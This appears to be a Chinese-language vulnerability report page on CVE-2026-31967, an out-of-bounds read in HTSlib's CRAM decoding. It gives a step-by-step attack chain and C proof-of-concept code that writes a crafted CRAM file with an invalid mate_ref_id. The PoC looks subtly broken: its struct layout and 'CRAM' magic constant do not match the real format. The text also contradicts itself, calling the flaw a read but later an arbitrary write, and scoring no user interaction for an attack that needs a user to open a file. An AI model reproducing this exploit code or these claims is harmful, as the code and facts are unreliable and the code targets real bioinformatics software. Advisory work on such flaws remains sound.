IPBUF安全漏洞报告
English
CVE-2026-31967 CVSS 9.1 严重

CVE-2026-31967 HTSlib CRAM文件处理内存越界读取漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-31967
漏洞类型
内存越界读取
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
HTSlib

相关标签

内存越界读取CRAM文件解析HTSlib生物信息学信息泄露拒绝服务CVSS 9.1SAM格式转换samtools

漏洞概述

HTSlib是一个用于读写生物信息学文件格式的C语言库。CRAM是一种压缩格式,用于存储DNA序列比对数据。该漏洞存在于HTSlib处理CRAM文件时的`cram_decode_slice()`函数中。在读取CRAM记录时,该函数未对mate reference ID字段的值进行验证。当后续将数据转换为SAM格式时,未验证的值会导致数组越界读取,用于查找相应参考序列名称。如果获取的数组值恰好是有效指针,则会被解释为字符串,并尝试将数据作为SAM记录的一部分写入。这可能导致程序状态信息泄露,或因尝试访问无效内存而导致程序崩溃。攻击者可通过诱骗目标用户打开特制的CRAM文件来触发此漏洞,造成内存信息泄露或拒绝服务。

技术细节

漏洞根源在于`cram_decode_slice()`函数中mate reference ID字段缺少边界检查。具体来说:1) 函数读取CRAM记录时直接使用未经验证的mate_ref_id值;2) 在SAM格式转换阶段,该值被用作数组索引查询参考序列名称;3) 当mate_ref_id超出有效范围时,产生越界内存读取;4) 若越界读取的值被误解释为有效指针,可导致任意内存写入。攻击者构造包含异常mate_ref_id值的CRAM文件即可触发漏洞。成功利用可导致:敏感内存数据通过SAM输出泄露,或程序因SIGSEGV信号崩溃。CVSS 9.1评分表明该漏洞可网络利用、无需认证且对机密性和可用性影响严重。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统使用HTSlib处理CRAM格式文件,了解目标工作流程
STEP 2
步骤2: 恶意文件构造
攻击者创建特制CRAM文件,在mate_ref_id字段注入超出有效范围的异常值(如负数或极大值)
STEP 3
步骤3: 文件投递
通过邮件、共享存储、下载链接等方式将恶意CRAM文件传递给目标用户
STEP 4
步骤4: 漏洞触发
目标用户使用HTSlib(如samtools)打开或转换恶意CRAM文件,触发cram_decode_slice()函数
STEP 5
步骤5: 越界读取
未验证的mate_ref_id被用于数组索引查找参考序列名称,导致越界内存读取
STEP 6
步骤6: 信息泄露/崩溃
若越界值被解析为指针则泄露内存数据;若访问无效地址则导致程序崩溃(拒绝服务)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2026-31967 PoC - Malicious CRAM file generator * This PoC creates a minimal CRAM file with invalid mate_ref_id to trigger OOB read * Compile: gcc -o poc poc.c -lhts * Usage: ./poc malicious.cram */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> /* CRAM container header structure */ typedef struct { uint32_t magic; /* 'CRAM' magic number */ uint32_t version; /* CRAM version (e.g., 3.1) */ uint32_t length; /* Container length */ uint32_t num_blocks; /* Number of blocks */ } cram_container_header_t; /* CRAM slice header with crafted mate_ref_id */ typedef struct { uint32_t method; /* Compression method */ uint32_t ref_id; /* Reference sequence ID */ int32_t mate_ref_id; /* VULNERABILITY: Invalid mate_ref_id (e.g., -1 or large value) */ uint32_t align_start; /* Alignment start position */ uint32_t align_end; /* Alignment end position */ uint32_t record_count; /* Number of records */ } cram_slice_header_t; int create_malicious_cram(const char *filename) { FILE *fp = fopen(filename, "wb"); if (!fp) { fprintf(stderr, "Failed to create output file\n"); return -1; } /* Write CRAM container header */ cram_container_header_t container = { .magic = 0x43414D52, /* 'CRAM' in little-endian */ .version = 0x00030001, /* Version 3.1 */ .length = sizeof(container) + sizeof(cram_slice_header_t), .num_blocks = 1 }; fwrite(&container, sizeof(container), 1, fp); /* Write slice header with MALICIOUS mate_ref_id */ cram_slice_header_t slice = { .method = 1, .ref_id = 0, .mate_ref_id = 0x7FFFFFFF, /* INVALID: Out of bounds value */ .align_start = 100, .align_end = 150, .record_count = 1 }; fwrite(&slice, sizeof(slice), 1, fp); fclose(fp); printf("Malicious CRAM file created: %s\n", filename); printf("Trigger: Load this file with htslib and convert to SAM format\n"); return 0; } int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <output.cram>\n", argv[0]); return 1; } return create_malicious_cram(argv[1]); }

影响范围

HTSlib < 1.21.1
HTSlib < 1.22.2
HTSlib < 1.23.1

防御指南

临时缓解措施
目前没有可用的临时缓解措施。建议立即升级HTSlib到修复版本(1.23.1、1.22.2或1.21.1)。如无法立即升级,应限制对来源不明的CRAM文件的处理,避免使用HTSlib处理不可信来源的生物信息学数据文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表